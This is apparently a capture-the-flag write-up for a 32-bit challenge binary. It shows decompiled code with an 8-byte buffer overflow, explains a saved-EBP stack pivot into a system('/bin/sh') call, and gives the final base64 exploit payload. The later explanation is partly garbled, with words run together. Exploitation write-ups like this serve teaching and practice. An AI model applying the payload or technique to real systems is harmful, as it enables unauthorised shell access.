(Too lazy to review lessons before exam... Load with IDA and found:
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5(&v2, 12);
printf("hash : %s\n", (char)s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
We can notice that int v4
is at bp-8h
.
str_len = Base64Decode(&s_input, &buf);
if ( str_len > 12 )
{
puts("Wrong Length");
}
else
{
memcpy(&input, buf, str_len);
if ( auth(str_len) == 1 )
correct();
}
But in main
, it's length can be up to 12.
To control EIP, we can overflow the buffer and replace EBP to change the stack, when it leaves, it will mov esp,ebp;pop ebp;
; and then it return
, it will jump to [esp].
Jump here we can get a shell:
.text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
And since $input
is in .bss
section and the program has no PIE
, we can simply change the stack to $input
.
.bss:0811EB40 input
The final exp:
>>> print "ABCD\x84\x92\x04\x08\x40\xeb\x11\x08".encode('base64')
QUJDRISSBAhA6xEI
I commented a link to another write up. But after 1 more hour to debug, I decided to remove and type instead (I think it's a better way to learn by myself).
auth
, whenmemcpy
is called. Notice that input length (decoded base64) is up to 12, but the buffer inauth
has only8
. Then we can controlebp
in functionauth
.ebp
will be called after functionmain
exit."A" * 8 + <gadget>
, beforeleave
is executed,ebp
will be the first instruction of function I want to execute. However, afterleave
, it's equal tomove esp, ebp; pop ebp
, which meansesp
will beebp
, buteip
uses$ebp+4
(bottom ofebp
is higher, so afterpop
executed,ebp
's address increased).eip
by putting gadget's address that we wanted (which I failed in second) to$ebp+4
, then use agadget
which is a static address of buffer. I can't explain this one clearly, but whenleave
executes, the value of$ebp+4
(alsoeip
) is where we want program to execute eventually. I believe stack layout of this will be value ofebp
-> address of any static object ($input
in this very writeup), value of$ebp + 4
-> address of instruction (gadget).p/s: when I failed. value in stack was instructions, so
eip
took value at$ebp+4
as a pointer instead of instruction.Edit: how to exploit this? Now we are having
$ebp+4
will be called. So it's easiest to makeebp
contains our payload (which must be decoded from base64). That being said we should use variableinput
afterBase64decode
is called, which should be atmain + 226
(instruction0x080493ef <+226>: mov DWORD PTR [esp],0x811eb40
). I hope with my explain, you can understand this challenge and you can do it by yourself :D